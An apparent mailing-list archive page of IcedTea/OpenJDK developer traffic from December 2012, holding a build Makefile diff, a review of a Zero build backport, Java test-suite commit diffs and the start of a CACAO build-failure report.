$(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext - (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ - $(ZIP) -qur $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) -endif if ZERO_BUILD printf -- '-zero ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg endif @@ -1791,6 +1814,19 @@ if ENABLE_CACAO printf -- '-cacao ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg endif +if ENABLE_JAMVM + printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg +endif + @echo "IcedTea (debug build) is served:" \ + $(DEBUG_BUILD_OUTPUT_DIR) + mkdir -p stamps + touch $@ + +clean-icedtea: + rm -rf $(BUILD_OUTPUT_DIR) + rm -f stamps/icedtea.stamp stamps/icedtea-debug.stamp + +stamps/add-systemtap-debug.stamp: stamps/icedtea-debug.stamp if ENABLE_SYSTEMTAP mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ @@ -1815,26 +1851,58 @@ cp $(abs_top_builddir)/tapset/jstack.stp \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp endif + touch stamps/add-systemtap-debug.stamp + +clean-add-systemtap-debug: + rm -rf $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap-debug.stamp + +stamps/add-pulseaudio-debug.stamp: stamps/icedtea-debug.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio-debug.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio-debug.stamp + +stamps/add-nss-debug.stamp: stamps/icedtea-debug.stamp cp $(abs_top_builddir)/nss.cfg \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss-debug.stamp + +clean-add-nss-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss-debug.stamp + +stamps/add-tzdata-support-debug.stamp: stamps/icedtea-debug.stamp if WITH_TZDATA_DIR cp $(abs_top_builddir)/tz.properties \ $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; endif -if ENABLE_JAMVM - printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_DEBUG_JRE_ARCH_DIR)/jvm.cfg -endif - @echo "IcedTea (debug build) is served:" \ - $(DEBUG_BUILD_OUTPUT_DIR) - mkdir -p stamps - touch $@ + touch stamps/add-tzdata-support-debug.stamp -clean-icedtea: - rm -rf $(BUILD_OUTPUT_DIR) - rm -f stamps/icedtea.stamp stamps/icedtea-debug.stamp +clean-add-tzdata-support-debug: + rm -f $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support-debug.stamp stamps/icedtea-stage2.stamp: stamps/icedtea.stamp stamps/add-cacao.stamp \ - stamps/add-zero.stamp stamps/add-jamvm.stamp + stamps/add-zero.stamp stamps/add-jamvm.stamp stamps/add-systemtap.stamp \ + stamps/add-pulseaudio.stamp stamps/add-nss.stamp stamps/add-tzdata-support.stamp mkdir -p stamps touch $@ @@ -1842,7 +1910,9 @@ rm -f stamps/icedtea-stage2.stamp stamps/icedtea-debug-stage2.stamp: stamps/icedtea-debug.stamp \ - stamps/add-cacao-debug.stamp stamps/add-zero-debug.stamp stamps/add-jamvm-debug.stamp + stamps/add-cacao-debug.stamp stamps/add-zero-debug.stamp stamps/add-jamvm-debug.stamp \ + stamps/add-systemtap-debug.stamp stamps/add-pulseaudio-debug.stamp \ + stamps/add-nss-debug.stamp stamps/add/tzdata-support-debug.stamp mkdir -p stamps touch $@ @@ -1865,6 +1935,94 @@ mkdir -p stamps touch $@ +clean-icedtea-boot: + rm -rf $(BOOT_BUILD_OUTPUT_DIR) + rm -f stamps/icedtea-boot.stamp + +stamps/add-systemtap-boot.stamp: stamps/icedtea-boot.stamp +if ENABLE_SYSTEMTAP + mkdir -p $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ + grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ + if test $$? -eq 0; then \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_jni.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ + sed -e '/\/client\/libjvm.so/d' \ + < $(abs_top_builddir)/tapset/hotspot_gc.stp \ + > $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + else \ + cp $(abs_top_builddir)/tapset/hotspot.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_jni.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_jni.stp; \ + cp $(abs_top_builddir)/tapset/hotspot_gc.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/hotspot_gc.stp; \ + fi; \ + cp $(abs_top_builddir)/tapset/jstack.stp \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp +endif + touch stamps/add-systemtap-boot.stamp + +clean-add-systemtap-boot: + rm -rf $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap-boot.stamp + +stamps/add-pulseaudio-boot.stamp: stamps/icedtea-boot.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio-boot.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio-boot.stamp + +stamps/add-nss-boot.stamp: stamps/icedtea-boot.stamp + cp $(abs_top_builddir)/nss.cfg \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss-boot.stamp + +clean-add-nss-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss-boot.stamp + +stamps/add-tzdata-support-boot.stamp: stamps/icedtea-boot.stamp +if WITH_TZDATA_DIR + cp $(abs_top_builddir)/tz.properties \ + $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; +endif + touch stamps/add-tzdata-support-boot.stamp + +clean-add-tzdata-support-boot: + rm -f $(BOOT_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support-boot.stamp + +stamps/icedtea-stage1.stamp: stamps/icedtea-boot.stamp \ + stamps/add-systemtap-boot.stamp stamps/add-pulseaudio-boot.stamp \ + stamps/add-nss-boot.stamp stamps/add-tzdata-support-boot.stamp + mkdir -p stamps + touch $@ + +clean-icedtea-stage1: clean-add-systemtap-boot clean-add-pulseaudio-boot \ + clean-add-nss-boot clean-add-tzdata-support-boot + rm -f stamps/icedtea-stage1.stamp + # Rebuild targets rebuild: @@ -1901,17 +2059,6 @@ @echo "HotSpot is served:" $(BUILD_OUTPUT_DIR)/j2sdk-image endif -clean-icedtea-boot: - rm -rf $(BOOT_BUILD_OUTPUT_DIR) - rm -f stamps/icedtea-boot.stamp - -stamps/icedtea-stage1.stamp: stamps/icedtea-boot.stamp - mkdir -p stamps - touch $@ - -clean-icedtea-stage1: - rm -f stamps/icedtea-stage1.stamp - # PulseAudio based mixer # (pulse-java) if ENABLE_PULSE_JAVA @@ -2439,6 +2586,22 @@ # Target Aliases # =============== +add-nss: stamps/add-nss.stamp + +add-nss-debug: stamps/add-nss-debug.stamp + +add-pulseaudio: stamps/add-pulseaudio.stamp + +add-pulseaudio-debug: stamps/add-pulseaudio-debug.stamp + +add-systemtap: stamps/add-systemtap.stamp + +add-systemtap-debug: stamps/add-systemtap-debug.stamp + +add-tzdata-support: stamps/add-tzdata-support.stamp + +add-tzdata-support-debug: stamps/add-tzdata-support-debug.stamp + add-zero: stamps/add-zero.stamp add-zero-debug: stamps/add-zero-debug.stamp From ChrisPhi at LGonQn.Org Wed Dec 19 11:13:16 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 14:13:16 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <1355937077.1746.55.camel@mercury> References: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> <1355937077.1746.55.camel@mercury> Message-ID: <50D211CC.5010303@LGonQn.Org> Hi I already have a patch that targets the current jdk7u-dev head. I'm still testing tho so didn't submit it there yet. Its slightly different than icedtea7 head. Chris Webrev is here: http://integral-portal.lgonqn.org/temp/ChrisPhi/jdk7u-dev-zero-hs24b25++/ On 19/12/12 12:11 PM, Roman Kennke wrote: > Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: >> ----- Original Message ----- >>> Hi Andrew >>> >>> >>> >>> >>> On 19/12/12 09:16 AM, Andrew Hughes wrote: >>>> ----- Original Message ----- >>>>> Attached patch is a backport of Roman's jdk8 fixes to >>>>> Icedtea7-head. >>>>> >>>>> Please review. >>>>> >>>>> Cheers! >>>>> Chris >>>>> >>>>> PS >>>>> Webrev is here: >>>>> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ >>>>> >>>>> >>>>> >>>> Is this upstream? If so, what bug ID(s) does it include? I see >>>> none in the webrev. >>> Sorry, >>> Yes its a backport of Roman's fix for 8000780 : "make Zero build and >>> run >>> with JDK8" >>> which was putback by twisti at the end of October. Its nearly >>> identical >>> except for >>> the need to backout the Permgen Removal stuff. >>> >> Ah, thanks! Do you know what the route is for getting it into 7u? Do >> we need to suggest it or will they just pull it in with a bulk HotSpot update? > I would guess that we need to suggest it, and I also think that this is > our plan. However, it sortof depends on another big change that needs to > go into 7up first, Twisti already proposed it, but I think it got stuck. > > Roman > > From rkennke at redhat.com Wed Dec 19 12:41:48 2012 From: rkennke at redhat.com (Roman Kennke) Date: Wed, 19 Dec 2012 21:41:48 +0100 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D11601.9010108@RedHat.Com> References: <50D11601.9010108@RedHat.Com> Message-ID: <1355949708.1746.75.camel@mercury> Am Dienstag, den 18.12.2012, 20:18 -0500 schrieb Chris Phillips: > Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. > > Please review. It looks good to me. Some little comments: --- old/make/Makefile 2012-12-13 09:16:51.027908161 -0500 +++ new/make/Makefile 2012-12-13 09:16:50.887903544 -0500 @@ -402,14 +402,30 @@ ifeq ($(JVM_VARIANT_ZEROSHARK), true) $(EXPORT_JRE_LIB_ARCH_DIR)/%.$(LIBRARY_SUFFIX): $(SHARK_DIR)/%.$(LIBRARY_SUFFIX) $(install-file) + $(EXPORT_JRE_LIB_ARCH_DIR)/%.debuginfo): Here's one one closing parenthesis too much ^ It means builds with expanded debuginfo will not work. This was my mistake, and it even slipped through to upstream jdk8. (A fix is on its way...) --- old/src/cpu/zero/vm/relocInfo_zero.cpp 2012-12-13 09:16:54.884035322 -0500 +++ new/src/cpu/zero/vm/relocInfo_zero.cpp 2012-12-13 09:16:54.775031727 -0500 @@ -77,3 +77,7 @@ CodeBuffer* dst) { ShouldNotCallThis(); } +// +//void metadata_Relocation::pd_fix_value(address x) { +// ShouldNotCallThis(); +//} There's no reason to add commented-out code. (Was that in my original patch? I hope not..) Other than that, it looks good to me! Cheers, Roman From ptisnovs at icedtea.classpath.org Thu Dec 20 04:09:54 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 20 Dec 2012 12:09:54 +0000 Subject: /hg/gfx-test: Added another set of tests into src/org/gfxtest/te... Message-ID: changeset 5f978c925a36 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=5f978c925a36 author: Pavel Tisnovsky date: Thu Dec 20 13:12:54 2012 +0100 Added another set of tests into src/org/gfxtest/testsuites/BitBltBasicTests.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 181 +++++++++++++++++++++++ 2 files changed, 186 insertions(+), 0 deletions(-) diffs (203 lines): diff -r e7ebb5543c97 -r 5f978c925a36 ChangeLog --- a/ChangeLog Wed Dec 19 10:58:55 2012 +0100 +++ b/ChangeLog Thu Dec 20 13:12:54 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + Added another set of tests. + 2012-12-19 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltBasicTests.java: diff -r e7ebb5543c97 -r 5f978c925a36 src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Wed Dec 19 10:58:55 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Thu Dec 20 13:12:54 2012 +0100 @@ -2256,6 +2256,187 @@ * graphics canvas * @return test result status - PASSED, FAILED or ERROR */ + public TestResult testBitBltColorDotsImageTypeByteBinary(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_BINARY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_BGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_ARGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_INT_ARGB_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeIntARGB_Pre(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_4BYTE_ABGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType4ByteABGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_4BYTE_ABGR_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType4ByteABGR_PRE(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR_PRE); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_BYTE_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshortGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_565_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_USHORT_555_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image with type TYPE_3BYTE_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltColorDotsBufferedImageType3ByteBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithColorDotsImage(image, graphics2d, BufferedImage.TYPE_3BYTE_BGR); + } + + /** + * Test basic BitBlt operation for color dots pattern buffered image + * with type TYPE_BYTE_BINARY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ public TestResult testBitBltColorDotsImageTypeByteIntARGB(TestImage image, Graphics2D graphics2d) { // create new buffered image and then perform basic BitBlt test. From ptisnovs at icedtea.classpath.org Thu Dec 20 04:13:31 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 20 Dec 2012 12:13:31 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 257a62c6cbc5 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=257a62c6cbc5 author: Pavel Tisnovsky date: Thu Dec 20 13:16:30 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptEngineClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptEngineClassTest.java | 82 +++++++++++++++++++++++++++ 2 files changed, 87 insertions(+), 0 deletions(-) diffs (118 lines): diff -r 3b33320797eb -r 257a62c6cbc5 ChangeLog --- a/ChangeLog Wed Dec 19 11:03:19 2012 +0100 +++ b/ChangeLog Thu Dec 20 13:16:30 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-20 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptEngineClassTest.java: + Added three new tests into this test case. + 2012-12-19 Pavel Tisnovsky * src/org/RhinoTests/ScriptExceptionClassTest.java: diff -r 3b33320797eb -r 257a62c6cbc5 src/org/RhinoTests/ScriptEngineClassTest.java --- a/src/org/RhinoTests/ScriptEngineClassTest.java Wed Dec 19 11:03:19 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineClassTest.java Thu Dec 20 13:16:30 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -369,6 +370,35 @@ } /** + * Test for method javax.script.ScriptEngine.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ARGV", + "FILENAME", + "ENGINE", + "ENGINE_VERSION", + "NAME", + "LANGUAGE", + "LANGUAGE_VERSION", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptEngineClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptEngine.getClass().getMethods() */ protected void testGetMethods() { @@ -477,6 +507,58 @@ } /** + * Test for method javax.script.ScriptEngine.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptEngine.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptEngine */ @SuppressWarnings("cast") From gnu.andrew at redhat.com Thu Dec 20 04:17:21 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Thu, 20 Dec 2012 07:17:21 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D211CC.5010303@LGonQn.Org> Message-ID: <1854722806.18308525.1356005841749.JavaMail.root@redhat.com> ----- Original Message ----- > Hi > > I already have a patch that targets the current jdk7u-dev > head. I'm still testing tho so didn't submit it there yet. > Its slightly different than icedtea7 head. > Will they be the same if we sync with upstream or is there some difference that's only present locally? I'd rather we just pull it in from 7u if possible, rather than having a local copy which then has to be merged with the upstream version. > Chris > Webrev is here: > http://integral-portal.lgonqn.org/temp/ChrisPhi/jdk7u-dev-zero-hs24b25++/ > > On 19/12/12 12:11 PM, Roman Kennke wrote: > > Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: > >> ----- Original Message ----- > >>> Hi Andrew > >>> > >>> > >>> > >>> > >>> On 19/12/12 09:16 AM, Andrew Hughes wrote: > >>>> ----- Original Message ----- > >>>>> Attached patch is a backport of Roman's jdk8 fixes to > >>>>> Icedtea7-head. > >>>>> > >>>>> Please review. > >>>>> > >>>>> Cheers! > >>>>> Chris > >>>>> > >>>>> PS > >>>>> Webrev is here: > >>>>> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > >>>>> > >>>>> > >>>>> > >>>> Is this upstream? If so, what bug ID(s) does it include? I see > >>>> none in the webrev. > >>> Sorry, > >>> Yes its a backport of Roman's fix for 8000780 : "make Zero build > >>> and > >>> run > >>> with JDK8" > >>> which was putback by twisti at the end of October. Its nearly > >>> identical > >>> except for > >>> the need to backout the Permgen Removal stuff. > >>> > >> Ah, thanks! Do you know what the route is for getting it into 7u? > >> Do > >> we need to suggest it or will they just pull it in with a bulk > >> HotSpot update? > > I would guess that we need to suggest it, and I also think that > > this is > > our plan. However, it sortof depends on another big change that > > needs to > > go into 7up first, Twisti already proposed it, but I think it got > > stuck. > > > > Roman > > > > > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From aph at redhat.com Thu Dec 20 06:32:12 2012 From: aph at redhat.com (Andrew Haley) Date: Thu, 20 Dec 2012 14:32:12 +0000 Subject: Building CACAO with gcj FTBFS Message-ID: <50D3216C.5080407@redhat.com> With gcj as the build JVM: ./configure --enable-cacao --with-jdk-home=/etc/alternatives/java_sdk ...eventually # Running javac: /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=1024 -J-client -J-Xmx750m -J-Xms128m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -g -source 1.5 -target 5 -encoding ascii -Xbootclasspath:/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -sourcepath /home/aph/iced-arm/cacao/icedtea6/generated.build:../../../src/solaris/classes:../../../src/share/classes -bootclasspath /home/aph/iced-arm/cacao/icedtea6/bootstrap/jdk1.6.0/jre/lib/rt.jar::/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes -d /home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/classes @/home/aph/iced-arm/cacao/icedtea6/openjdk.build-ecj/tmp/sun/java.security/.classes.list ---------- 1. ERROR in /home/aph/iced-arm/cacao/icedtea6/openjdk-ecj/jdk/src/share/classes/java/security/cert/X509CertSelector.java (at line 1957) return 